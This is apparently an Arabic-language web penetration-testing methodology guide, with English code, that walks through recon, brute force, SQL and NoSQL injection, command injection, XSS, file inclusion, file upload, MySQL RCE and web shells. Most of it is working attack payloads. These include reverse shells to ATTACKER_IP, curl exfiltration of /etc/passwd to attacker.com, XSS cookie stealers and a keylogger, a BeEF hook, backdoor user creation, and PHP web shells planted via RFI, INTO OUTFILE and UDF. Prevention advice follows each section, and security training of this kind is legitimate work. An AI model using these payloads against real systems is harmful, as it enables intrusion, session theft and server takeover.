#📋 نظرة عامة: دورة حياة اختبار اختراق تطبيقات الويب

يتبع اختبار اختراق تطبيقات الويب منهجية منظمة تهدف إلى اكتشاف الثغرات الأمنية، والتحقق من قابليتها للاستغلال، ثم توثيقها ورفع تقرير واضح عنها. تساعد هذه المنهجية على تغطية مختلف مسارات الهجوم بصورة شاملة ومنهجية.

#🔍 المرحلة 1: جمع المعلومات والاستطلاع

#1.1 حصر أساليب HTTP

الهدف: Identify which HTTP methods are enabled on the web server to find potentially dangerous methods.

لماذا تحدث المشكلة؟: Misconfigured web servers may allow dangerous methods like PUT, DELETE, TRACE that should be disabled in production.

الأدوات والأوامر:

bash
curl -X OPTIONS http://target.com -v
nmap --script http-methods target.com

الاستغلال:

  • إذا كان PUT مفعلاً: فقد يسمح برفع ملفات إلى الخادم.
  • إذا كان DELETE مفعلاً: فقد يسمح بحذف ملفات حساسة.
  • إذا كان TRACE مفعلاً: فقد يفتح المجال لهجمات Cross-Site Tracing (XST).

الوقاية:

  • تعطيل أساليب HTTP غير الضرورية في إعدادات خادم الويب.
  • استخدام .htaccess أو web.config لتقييد الأساليب المسموح بها.
  • تطبيق ضوابط وصول مناسبة.

#1.2 حصر المجلدات والملفات

الهدف: Discover hidden directories, files, and endpoints not linked in the application.

لماذا تحدث المشكلة؟: Developers leave backup files, admin panels, configuration files, or old directories accessible.

الأدوات والأوامر:

bash
# Burp Suite Intruder
# Use wordlists: /usr/share/wordlists/dirb/common.txt

# Gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

# Dirbuster
dirbuster -u http://target.com -l /usr/share/wordlists/dirb/common.txt

# Feroxbuster (modern alternative)
feroxbuster -u http://target.com -w /usr/share/wordlists/dirb/common.txt

Burp Suite Method:

  • إرسال الطلب إلى Intruder.
  • تحديد موضع الـ payload داخل مسار URL.
  • تحميل قائمة كلمات خاصة بالمجلدات.
  • تحليل الاستجابات بحسب رموز الحالة مثل 200 و301 و302 و403.

الوقاية:

  • إزالة الملفات والمجلدات غير المستخدمة.
  • تطبيق ضوابط وصول مناسبة.
  • استخدام robots.txt بحذر لأنه قد يكشف مسارات حساسة.
  • تعطيل استعراض محتويات المجلدات.

#🔐 المرحلة 2: اختبار المصادقة والتفويض

#2.1 هجمات المصادقة الأساسية

الهدف: Test weak authentication mechanisms and credential strength.

لماذا تحدث المشكلة؟: Weak passwords, lack of account lockout, no rate limiting.

الأدوات والأوامر:

bash
# Hydra - HTTP Basic Auth
hydra -L users.txt -P passwords.txt target.com http-get /admin

# Burp Suite Intruder
# 1. Capture login request
# 2. Send to Intruder
# 3. Set payload positions on username/password
# 4. Use Cluster Bomb attack type for credential stuffing
# 5. Load wordlists

# Custom script example
for pass in $(cat passwords.txt); do
  curl -u admin:$pass http://target.com/admin
done

مسارات الهجوم:

  • هجمات التخمين باستخدام بيانات اعتماد شائعة.
  • Credential Stuffing باستخدام بيانات اعتماد مسربة.
  • اختبار بيانات الاعتماد الافتراضية.

الوقاية:

  • تطبيق سياسات قوية لكلمات المرور.
  • إضافة آليات قفل الحساب.
  • تفعيل CAPTCHA بعد عدد من المحاولات الفاشلة.
  • استخدام المصادقة متعددة العوامل (MFA).
  • تطبيق Rate Limiting على نقاط نهاية المصادقة.

#2.2 اكتشاف أسماء المستخدمين

الهدف: Identify valid usernames through different error messages or response times.

لماذا تحدث المشكلة؟: Application returns different messages for valid vs invalid usernames.

الأدوات والأوامر:

bash
# Burp Suite Intruder
# Look for differences in:
# - Response length
# - Response time
# - Error messages

# Username enumeration script
while read username; do
  response=$(curl -s -X POST http://target.com/login -d "username=$username&password=wrongpass")
  echo "$username:$response"
done < usernames.txt

الوقاية:

  • استخدام رسائل خطأ عامة مثل Invalid credentials.
  • توحيد زمن الاستجابة للمستخدمين الصحيحين وغير الصحيحين.
  • تطبيق CAPTCHA.

#2.3 تجاوز OTP والمحاولات غير المحدودة

الهدف: Test if OTP/2FA can be bypassed or brute-forced.

لماذا تحدث المشكلة؟: No rate limiting, predictable OTP codes, lack of expiration.

Attack Method:

  • اختبار مقاومة النظام لتخمين رموز OTP ضمن المجال الرقمي.
  • التحقق من رفض إعادة استخدام رموز OTP القديمة.
  • اختبار Race Conditions.
  • اختبار تلاعب الاستجابة.

الأدوات:

bash
# Burp Suite Intruder
# Set payload: Numbers from 000000 to 999999
# Use Pitchfork/Sniper attack type

# Python script example
for otp in range(0, 1000000):
  code = str(otp).zfill(6)
  response = requests.post('http://target.com/verify', data={'otp': code})
  if 'success' in response.text:
    print(f'Valid OTP: {code}')
    break

الوقاية:

  • تطبيق Rate Limiting بعدد محاولات محدود.
  • قفل الحساب بعد عدد من المحاولات الفاشلة.
  • استخدام رموز OTP أطول وعشوائية.
  • تطبيق مدة صلاحية قصيرة لرموز OTP.
  • جعل الرمز صالحاً للاستخدام مرة واحدة فقط.

#2.4 ثغرات إدارة الجلسات

الهدف: Test session token strength, fixation, and hijacking vulnerabilities.

لماذا تحدث المشكلة؟: Weak session tokens, no regeneration, predictable patterns, and a lack of secure flags.

أساليب الاختبار:

  • تحليل عشوائية Session Token.
  • اختبار Session Fixation.
  • التحقق من Session Timeout.
  • التحقق من خصائص Secure وHttpOnly.
  • اختبار الجلسات المتزامنة.

الأدوات:

bash
# Burp Suite Sequencer
# 1. Capture session token responses
# 2. Send to Sequencer
# 3. Analyze entropy and randomness

# Manual testing
# Check cookie flags in browser DevTools
# Network tab → Response Headers → Set-Cookie

الوقاية:

  • إنشاء رموز جلسات عشوائية باستخدام مولدات آمنة تشفيرياً.
  • إعادة توليد Session ID بعد تسجيل الدخول.
  • تفعيل خصائص Secure وHttpOnly وSameSite.
  • تطبيق مهلات زمنية مطلقة ومهلات للخمول.
  • إبطال الجلسات عند تسجيل الخروج.

#💉 المرحلة 3: هجمات الحقن

#3.1 حقن SQL (SQLi)

image.png

https://portswigger.net/web-security/sql-injection

الهدف: Exploit database queries to extract data, bypass authentication, or gain system access.

لماذا تحدث المشكلة؟: Unsanitized user input is directly concatenated into SQL queries.

مراجعة سريعة لأساسيات SQL:

sql
-- Basic queries
SELECT * FROM users WHERE username='admin';
INSERT INTO users VALUES ('john', 'password123');
UPDATE users SET password='newpass' WHERE id=1;
DELETE FROM users WHERE id=5;

-- Useful for exploitation
SELECT * FROM users UNION SELECT null, null, null;
SELECT database();
SELECT user();
SELECT version();
SELECT table_name FROM information_schema.tables;

#3.1.1 حقن SQL المعتمد على الأخطاء

الاكتشاف:

sql
-- Test payloads
' OR '1'='1
' OR 1=1--
' OR 1=1#
admin'--
' UNION SELECT NULL--

مثال على الاستغلال:

sql
-- Extract database name
' UNION SELECT database(),null,null--

-- Extract tables
' UNION SELECT table_name,null,null FROM information_schema.tables WHERE table_schema=database()--

-- Extract columns
' UNION SELECT column_name,null,null FROM information_schema.columns WHERE table_name='users'--

-- Extract data
' UNION SELECT username,password,email FROM users--

#3.1.2 حقن SQL المعتمد على UNION

المنهجية:

  • Find number of columns: ' ORDER BY 1-- (increment until error)
  • Find injectable columns: ' UNION SELECT NULL,NULL,NULL--
  • Extract data using UNION queries

تسلسل الاستغلال الكامل:

sql
-- 1. Determine column count
' ORDER BY 1-- (no error)
' ORDER BY 2-- (no error)
' ORDER BY 3-- (no error)
' ORDER BY 4-- (error) → 3 columns

-- 2. Find injectable column
' UNION SELECT 'test',NULL,NULL--
' UNION SELECT NULL,'test',NULL--
' UNION SELECT NULL,NULL,'test'--

-- 3. Extract database info
' UNION SELECT database(),user(),version()--

-- 4. Extract table names
' UNION SELECT group_concat(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema=database()--

-- 5. Extract column names
' UNION SELECT group_concat(column_name),NULL,NULL FROM information_schema.columns WHERE table_name='users'--

-- 6. Dump data
' UNION SELECT username,password,email FROM users--

#3.1.3 حقن SQL الأعمى

المعتمد على القيم المنطقية (Boolean-Based):

sql
-- Test if vulnerable
' AND 1=1-- (true condition)
' AND 1=2-- (false condition)

-- Extract data character by character
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100--

المعتمد على الزمن (Time-Based):

sql
-- Test delay
' AND SLEEP(5)--
'; WAITFOR DELAY '00:00:05'--

-- Extract data
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--

الأدوات:

bash
# SQLMap - Automated SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump

# With POST data
sqlmap -u "http://target.com/login.php" --data="username=admin&password=pass" -p username

# With cookie
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"

# Risk and level
sqlmap -u "http://target.com/page.php?id=1" --risk=3 --level=5

الوقاية:

  • استخدام Parameterized Queries / Prepared Statements.
  • استخدام ORM بصورة صحيحة.
  • تطبيق التحقق من المدخلات وتنقيتها.
  • تطبيق مبدأ أقل الصلاحيات على حسابات قاعدة البيانات.
  • تعطيل رسائل الأخطاء التفصيلية في بيئة الإنتاج.
  • استخدام Stored Procedures عند ملاءمتها.
  • استخدام Web Application Firewall (WAF).

Best resource for SQL: https://portswigger.net/web-security/sql-injection#what-is-sql-injection-sqli

#3.2 حقن NoSQL (MongoDB)

الهدف: Exploit NoSQL databases through JSON/BSON injection.

لماذا تحدث المشكلة؟: Direct query construction without proper sanitisation in MongoDB, CouchDB, etc.

أساسيات MongoDB:

jsx
// Basic queries
db.users.find({username: "admin"})
db.users.find({username: "admin", password: "pass123"})
db.users.insert({username: "john", password: "hash"})
db.users.update({username: "john"}, {$set: {password: "newhash"}})

// Operators
$gt, $lt, $gte, $lte, $ne, $in, $nin, $regex, $where

الاستغلال:

json
// Authentication bypass
{"username": "admin", "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

// Extract data with $regex
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}
// Brute force each character

// JavaScript injection in $where
{"$where": "this.username == 'admin' || '1'=='1'"}
{"$where": "sleep(5000)"}  // Time-based

ترميز URL:

bash
# Authentication bypass
username=admin&password[$ne]=wrong
username[$gt]=&password[$gt]=

# In JSON
POST /login
Content-Type: application/json
{"username":"admin","password":{"$ne":""}}

الأدوات:

bash
# NoSQLMap
python nosqlmap.py -u http://target.com/login -p username,password

# Manual testing with Burp Suite
# 1. Intercept login request
# 2. Modify parameters to include operators
# 3. Analyze responses

الوقاية:

  • استخدام استعلامات آمنة أو آليات Query Builders مناسبة.
  • التحقق الصارم من أنواع المدخلات.
  • منع أو ضبط إدخال معاملات الاستعلام مثل $ و{ و} عند عدم الحاجة إليها.
  • استخدام $where بحذر شديد أو تجنبه.
  • تطبيق ضوابط وصول مناسبة.
  • تعطيل تنفيذ JavaScript داخل الاستعلامات عند عدم الحاجة.

#3.3 حقن أوامر النظام

الهدف: Execute arbitrary system commands through vulnerable application inputs.

لماذا تحدث المشكلة؟: Application passes user input directly to system shell commands without sanitization.

حمولات الاختبار:

bash
# Basic command chaining
; ls
| ls
|| ls
& ls
&& ls
` ls `
$(ls)

# Common test payloads
; whoami
; id
; uname -a
; cat /etc/passwd

# Time-based detection
; sleep 5
; ping -c 5 127.0.0.1

أمثلة على الاستغلال:

bash
# Read sensitive files
; cat /etc/passwd
; cat /etc/shadow
; cat /var/www/html/config.php

# Reverse shell
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
; nc ATTACKER_IP 4444 -e /bin/bash
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Data exfiltration
; curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)

# Add backdoor user
; useradd -m -s /bin/bash hacker
; echo 'hacker:password' | chpasswd

مثال على كود ضعيف:

php
// Vulnerable PHP code
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

// Exploit: ?ip=127.0.0.1; cat /etc/passwd

الوقاية:

  • عدم تمرير مدخلات المستخدم مباشرة إلى أوامر النظام.
  • استخدام APIs الخاصة باللغة بدلاً من أوامر shell كلما أمكن.
  • استخدام قائمة سماح للأحرف والقيم المقبولة.
  • Use escapeshellarg() and escapeshellcmd() in PHP
  • تشغيل التطبيق بأقل صلاحيات ممكنة.
  • Input validation with regex

#3.4 حقن الكود (PHP وPython وغيرها)

الهدف: Inject and execute arbitrary code in the application’s language.

لماذا تحدث المشكلة؟: Use of dangerous functions like eval(), exec(), assert() with user input.

حقن الكود في PHP:

php
// Vulnerable code
eval($_GET['code']);
assert($_GET['code']);
preg_replace('/.*/e', $_GET['code'], 'text');

// Exploitation
?code=phpinfo();
?code=system('whoami');
?code=file_get_contents('/etc/passwd');
?code=file_put_contents('shell.php', '<?php system($_GET[cmd]); ?>');

حقن الكود في Python:

python
# Vulnerable code
eval(user_input)
exec(user_input)
__import__('os').system(user_input)

# Exploitation
__import__('os').system('whoami')
__import__('os').popen('cat /etc/passwd').read()
open('/etc/passwd').read()

الأدوات والتقنيات:

  • Test with simple commands first (phpinfo(), print(), echo)
  • Escalate to file operations
  • Upload web shells
  • Establish reverse shells

الوقاية:

  • عدم استخدام eval() أو exec() أو assert() مع مدخلات المستخدم.
  • استخدام بدائل آمنة مثل json_decode() بدلاً من eval().
  • تطبيق التحقق من المدخلات وتنقيتها.
  • تعطيل الدوال الخطرة في php.ini حسب الحاجة.
  • Run with minimal privileges

#🎭 المرحلة 4: البرمجة النصية عبر المواقع (XSS)

image.png

#4.1 نظرة عامة على XSS

الهدف: Inject malicious JavaScript to steal data, hijack sessions, or deface pages.

لماذا تحدث المشكلة؟: Application doesn’t properly sanitize/encode user input before rendering in HTML.

أنواع XSS:

  • Reflected XSS: تكون الحمولة داخل الطلب أو الرابط وتنعكس مباشرة في الاستجابة.
  • Stored XSS: تُخزَّن الحمولة في قاعدة البيانات ثم تُنفذ عند عرض المحتوى.
  • DOM-based XSS: تكون الثغرة في منطق JavaScript على جهة العميل.
النوعأين يوجد الكود الخبيث؟هل يمر عبر السيرفر؟
Reflectedداخل الرابط (URL)نعم (كطلب بحث مثلاً)
Storedداخل قاعدة البياناتنعم (مخزن دائماً)
DOM-basedداخل المتصفح (URL Hash)لا (غالباً يبقى في المتصفح)

#4.2 Reflected XSS

حمولات الاختبار:

html
<!-- Basic test -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">

<!-- Bypass filters -->
<ScRiPt>alert(1)</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=alert`1`>
<svg><script>alert&#40;1&#41;</script></svg>

حمولات هجومية واقعية:

html
<!-- Cookie stealing -->
<script>
document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>

<!-- Keylogger -->
<script>
document.onkeypress=function(e){
  fetch('http://attacker.com/log.php?key='+e.key);
}
</script>

<!-- Session hijacking -->
<script>
var xhr=new XMLHttpRequest();
xhr.open('GET','http://attacker.com/steal.php?cookie='+document.cookie);
xhr.send();
</script>

<!-- Credential harvesting -->
<script>
document.write('<form action="http://attacker.com/phish.php">
<input name="username"><input name="password" type="password">
<input type="submit"></form>');
</script>

#4.3 Stored XSS

أماكن الاختبار:

  • Comment sections
  • Profile fields (name, bio, website)
  • Forum posts
  • Product reviews
  • Support tickets

الاستغلال:

html
<!-- Persistent cookie stealer -->
<script>
new Image().src='http://attacker.com/log.php?c='+document.cookie;
</script>

<!-- BeEF hook (Browser Exploitation Framework) -->
<script src="http://attacker.com:3000/hook.js"></script>

<!-- Admin session hijacking -->
<script>
if(document.cookie.includes('admin')){
  fetch('http://attacker.com/admin.php?c='+document.cookie);
}
</script>

#4.4 DOM-Based XSS

أنماط JavaScript الضعيفة:

jsx
// Vulnerable code
document.write(location.hash);
element.innerHTML = location.search;
eval(location.hash);

// Exploitation
http://target.com/#<script>alert(1)</script>
http://target.com/?name=<img src=x onerror=alert(1)>

#4.5 أدوات XSS

XSSer:

bash
# Basic scan
xsser -u "http://target.com/search.php?q=test"

# With crawling
xsser -u "http://target.com" --crawl 3

# POST request
xsser -u "http://target.com/search.php" -p "q=XSS"

# Specific payload
xsser -u "http://target.com/?q=XSS" --payload="<script>alert(1)</script>"

الاختبار اليدوي باستخدام Burp Suite:

  • Send request to Repeater
  • Inject XSS payloads in parameters
  • Analyze response for payload execution
  • Use Burp’s XSS validator

الوقاية:

  • تطبيق Output Encoding وفق سياق العرض.
  • التحقق من المدخلات باستخدام قائمة سماح.
  • تفعيل Content Security Policy (CSP).
  • تفعيل HttpOnly للكوكيز الحساسة.
  • الاستفادة من أطر العمل التي تطبق Auto-Escaping بشكل افتراضي.
  • معالجة المدخلات على جهة الخادم.
  • تجنب innerHTML مع البيانات غير الموثوقة.

#📁 المرحلة 5: الهجمات المعتمدة على الملفات

#5.1 اجتياز المجلدات / المسارات

الهدف: Access files outside the intended directory using path manipulation.

لماذا تحدث المشكلة؟: Application doesn’t validate file paths, allows ../ sequences.

الحمولات الأساسية:

bash
# Linux/Unix
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd

# Windows
..\..\..\windows\win.ini
....\\....\\....\\windows\\win.ini
..%5c..%5c..%5cwindows%5cwin.ini

# Null byte bypass (older PHP versions)
../../../etc/passwd%00
../../../etc/passwd%00.jpg

# URL encoding
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini

الملفات المستهدفة:

bash
# Linux
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (needs root)
/etc/hosts            # Host mappings
/etc/apache2/apache2.conf
/var/www/html/config.php
/home/user/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ    # Environment variables

# Windows
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf

مثال على الاستغلال:

bash
# Vulnerable URL
http://target.com/download.php?file=report.pdf

# Exploitation
http://target.com/download.php?file=../../../etc/passwd
http://target.com/download.php?file=../../config.php
http://target.com/download.php?file=../../../../var/log/apache2/access.log

الوقاية:

  • التحقق من مسارات الملفات وتنقيتها.
  • استخدام قائمة سماح للملفات المصرح بها.
  • استخدام basename() أو آلية مماثلة لإزالة أجزاء المسار غير المطلوبة.
  • تطبيق ضوابط وصول مناسبة.
  • استخدام العزل مثل chroot أو الحاويات.
  • عدم استخدام مدخلات المستخدم مباشرة داخل مسارات الملفات.

#5.2 تضمين الملفات المحلية (LFI)

الهدف: Include and execute local files through vulnerable include/require statements.

لماذا تحدث المشكلة؟: Dynamic file inclusion with unsanitized user input.

كود ضعيف:

php
// Vulnerable PHP code
<?php include($_GET['page']); ?>
<?php require($_GET['file'] . '.php'); ?>

حمولات LFI الأساسية:

bash
# Basic inclusion
?page=../../../../etc/passwd
?page=../../config.php

# Null byte bypass (PHP < 5.3)
?page=../../../../etc/passwd%00
?page=../../config%00.php

# Filter bypass
?page=....//....//....//etc/passwd
?page=..././..././..././etc/passwd

تقنيات الانتقال من LFI إلى RCE:

1. Log Poisoning:

bash
# 1. Inject PHP code into Apache logs via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# 2. Include the log file
?page=../../../../var/log/apache2/access.log&cmd=whoami

# Or via SSH logs
ssh '<?php system($_GET['cmd']); ?>'@target.com
?page=../../../../var/log/auth.log&cmd=id

2. PHP Wrappers:

php
// php://filter - Read source code
?page=php://filter/convert.base64-encode/resource=config.php
// Decode the base64 output to see source

// php://input - Execute POST data
POST: <?php system('whoami'); ?>
?page=php://input

// data:// wrapper
?page=data://text/plain,<?php system('whoami');?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=

// expect:// wrapper (if enabled)
?page=expect://whoami

3. Session File Inclusion:

php
// 1. Inject PHP code into session
$_SESSION['user'] = "<?php system('whoami'); ?>";

// 2. Include session file
?page=../../../../var/lib/php/sessions/sess_[SESSION_ID]

4. File Upload + LFI:

bash
# 1. Upload file with PHP code (even if renamed)
# Upload: shell.jpg containing <?php system($_GET['cmd']); ?>

# 2. Include uploaded file
?page=../../../../var/www/uploads/shell.jpg&cmd=whoami

الوقاية:

  • عدم استخدام مدخلات المستخدم مباشرة في include أو require.
  • استخدام قائمة سماح للملفات المصرح بها.
  • Disable dangerous PHP functions (allow_url_include)
  • استخدام مسارات مطلقة ومعروفة.
  • تطبيق التحقق من المدخلات وتنقيتها.
  • تقييد صلاحيات الوصول إلى نظام الملفات.

#5.3 تضمين الملفات البعيدة (RFI)

الهدف: Include remote files from attacker-controlled servers.

لماذا تحدث المشكلة؟: allow_url_include=On in PHP configuration + vulnerable include statements.

الاستغلال:

php
// Vulnerable code
<?php include($_GET['page']); ?>

// Check if RFI is possible
?page=http://attacker.com/test.txt

// Upload PHP shell to attacker server
// shell.txt contains: <?php system($_GET['cmd']);?>

// Include remote shell
?page=http://attacker.com/shell.txt&cmd=whoami

// Full reverse shell
?page=http://attacker.com/revshell.txt

إنشاء Remote Shell:

php
// revshell.txt on attacker server
<?php
$sock=fsockopen("ATTACKER_IP",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>

// Start listener on attacker machine
nc -lvnp 4444

// Trigger RFI
?page=http://ATTACKER_IP/revshell.txt

الوقاية:

  • ضبط allow_url_include=Off في php.ini.
  • ضبط allow_url_fopen=Off إذا لم تكن هناك حاجة له.
  • استخدام قائمة سماح للملفات التي يمكن تضمينها.
  • تطبيق قواعد WAF مناسبة.
  • عدم تمرير مدخلات المستخدم مباشرة إلى تعليمات التضمين.

#5.4 ثغرات رفع الملفات

الهدف: Upload malicious files to gain code execution.

لماذا تحدث المشكلة؟: Insufficient validation of uploaded files.

تقنيات التجاوز:

1. Extension Bypasses:

bash
# Double extensions
shell.php.jpg
shell.php.png

# Case manipulation
shell.pHp
shell.PHP

# Null byte (older systems)
shell.php%00.jpg

# Alternative extensions
shell.php3, shell.php4, shell.php5, shell.phtml
shell.asp, shell.aspx, shell.cer, shell.asa
shell.jsp, shell.jspx

2. Content-Type Manipulation:

text
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

3. Magic Bytes (File Signatures):

bash
# Add PNG header to PHP shell
echo -e '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system($_GET["cmd"]); ?>' > shell.php

# Add GIF header
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php

# Add JPEG header
echo -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.php

4. .htaccess Upload:

text
# Upload .htaccess file with content:
AddType application/x-httpd-php .jpg
# Now .jpg files execute as PHP

# Or
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>

Web Shell بسيط بلغة PHP:

php
<?php
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>

// Usage: shell.php?cmd=whoami

الوقاية:

  • استخدام قائمة سماح لامتدادات الملفات.
  • التحقق من MIME Type وMagic Bytes.
  • إعادة تسمية الملفات المرفوعة بأسماء مولدة من الخادم.
  • تخزين الملفات خارج Web Root.
  • تعطيل تنفيذ السكربتات داخل مجلدات الرفع.
  • فحص الملفات المرفوعة باستخدام حلول مكافحة البرمجيات الضارة.
  • فرض حدود على حجم الملفات.

#🔓 المرحلة 6: هجمات الخادم وسوء الإعداد

#6.1 تنفيذ أوامر عن بُعد عبر MySQL

الهدف: Leverage MySQL access to execute system commands.

لماذا تحدث المشكلة؟: Excessive MySQL privileges, FILE privilege enabled, writable web directory.

المتطلبات المسبقة:

  • SQL injection vulnerability OR database credentials
  • FILE privilege in MySQL
  • Knowledge of web root path
  • Writable web directory

أساليب الاستغلال:

1. INTO OUTFILE:

sql
-- Write PHP shell to web directory
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- Alternative payloads
SELECT '<?php eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- Using UNION
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/s.php'--

-- Access shell
http://target.com/shell.php?cmd=whoami

2. INTO DUMPFILE:

sql
-- Write binary data (useful for bypassing encoding)
SELECT 0x3c3f706870206576616c28245f504f53545b22636d64225d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';
-- 0x... is hex for: <?php eval($_POST["cmd"]); ?>

3. MySQL User Defined Functions (UDF):

https://cloudmersive.com/article/What-is-a-Shared-Object-File

sql
-- Upload shared library
SELECT load_file('/path/to/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

-- Create function
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so';

-- Execute commands
SELECT sys_exec('whoami');
SELECT sys_exec('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1');

تحديد مسار Web Root:

sql
-- Common paths
/var/www/html/
/var/www/
/usr/share/nginx/html/
/home/user/public_html/
C:\xampp\htdocs\
C:\inetpub\wwwroot\

-- Via SQL
SELECT @@datadir;  -- MySQL data directory
SELECT @@basedir;  -- MySQL base directory
SHOW VARIABLES LIKE '%dir%';

الوقاية:

  • إزالة صلاحية FILE من مستخدمي MySQL غير المحتاجين لها.
  • تعطيل LOAD DATA INFILE عند عدم الحاجة.
  • تشغيل MySQL بأقل صلاحيات ممكنة.
  • يجب ألا تكون مجلدات الويب قابلة للكتابة من مستخدم MySQL.
  • استخدام AppArmor أو SELinux لتقييد MySQL.

#6.2 أخطاء إعداد Apache

المشكلات الشائعة:

1. .htaccess Upload:

text
# Attacker uploads .htaccess
AddHandler application/x-httpd-php .jpg
# Now images execute as PHP

2. Directory Listing:

bash
# Test
http://target.com/uploads/

# Prevention: Add to .htaccess or httpd.conf
Options -Indexes

3. Sensitive File Exposure:

bash
# Common exposed files
/.git/
/.svn/
/.env
/config.php
/phpinfo.php
/backup.zip
/.DS_Store

# Tool: GitDumper
python3 git-dumper.py http://target.com/.git/ output/

الوقاية:

  • Disable .htaccess if not needed
  • تعطيل استعراض محتويات المجلدات.
  • تقليل كشف معلومات الإصدارات.
  • Hide sensitive files
  • إجراء مراجعات أمنية دورية.

#6.3 أخطاء إعداد Nginx

المشكلات الشائعة:

1. Off-by-slash:

text
# Vulnerable config
location /admin/ {
    proxy_pass http://backend/;
}

# Exploitation
http://target.com/admin../ bypasses authentication

2. Alias Traversal:

text
# Vulnerable config
location /files {
    alias /var/www/files/;
}

# Exploitation
http://target.com/files../
# Accesses /var/www/

الوقاية:

  • توحيد استخدام الشرطة المائلة النهائية في المسارات.
  • مراجعة إعدادات proxy_pass.
  • اختبار أخطاء Path Traversal.
  • استخدام root بدلاً من alias عندما يكون ذلك أنسب.

#🔍 المرحلة 7: ثغرات خاصة بالتطبيقات

#7.1 ثغرات WordPress

مسارات الهجوم الشائعة:

الحصر والاستكشاف:

bash
# WPScan
wpscan --url http://target.com --enumerate u,p,t
# u = users, p = plugins, t = themes

# Enumerate users
wpscan --url http://target.com --enumerate u

# Aggressive plugin detection
wpscan --url http://target.com --enumerate ap --plugins-detection aggressive

# Check for vulnerabilities
wpscan --url http://target.com --enumerate vp,vt

# Brute force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

إضافات شائعة قد تحتوي على ثغرات:

  • wpStoreCart - Arbitrary File Download
  • Relevanssi - XSS
  • IMDb Widget - LFI
  • File Manager - RCE

الاختبار اليدوي:

bash
# Check version
http://target.com/readme.html

# User enumeration
http://target.com/?author=1
http://target.com/wp-json/wp/v2/users

# xmlrpc.php exploitation
# Test: curl -X POST http://target.com/xmlrpc.php -d '<methodCall><methodName>system.listMethods</methodName></methodCall>'

# Plugin directory listing
http://target.com/wp-content/plugins/

# Backup files
http://target.com/wp-config.php.bak
http://target.com/wp-config.php.old

الوقاية:

  • تحديث WordPress والقوالب والإضافات باستمرار.
  • إزالة القوالب والإضافات غير المستخدمة.
  • تعطيل xmlrpc.php إذا لم تكن هناك حاجة إليه.
  • Use security plugins (Wordfence, Sucuri)
  • Implement WAF
  • استخدام بيانات اعتماد قوية.
  • تعطيل استعراض محتويات المجلدات.
  • تقليل كشف إصدار WordPress.

#7.2 هجمات خاصة بأنظمة إدارة المحتوى

المنهجية العامة:

  • تحديد نظام إدارة المحتوى وإصداره.
  • البحث عن ثغرات معروفة مرتبطة بالإصدار والمكونات.
  • اختبار بيانات الاعتماد الافتراضية ضمن النطاق المصرح.
  • حصر الإضافات والامتدادات.
  • التحقق من المكونات القديمة.

الأدوات:

bash
# Joomla
joomscan -u http://target.com

# Drupal
droopescan scan drupal -u http://target.com

# SearchSploit
searchsploit wordpress plugin_name
searchsploit -m exploit_id  # Mirror exploit

#🛡️ المرحلة 8: الاستغلال المتقدم وما بعد الاستغلال

#8.1 Web Shells

الأنواع:

1. Simple PHP Shell:

php
<?php system($_GET['cmd']); ?>

2. Full Featured (Weevely):

bash
# Generate shell
weevely generate password /path/to/shell.php

# Upload shell.php to target

# Connect
weevely http://target.com/shell.php password

